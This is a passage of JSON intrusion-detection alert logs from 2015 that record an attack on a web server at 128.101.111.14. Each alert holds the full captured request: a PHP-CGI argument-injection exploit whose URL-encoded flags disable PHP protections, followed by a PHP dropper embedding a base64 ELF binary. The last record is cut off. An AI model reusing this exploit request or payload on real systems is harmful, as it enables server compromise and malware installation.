pta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p"}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRK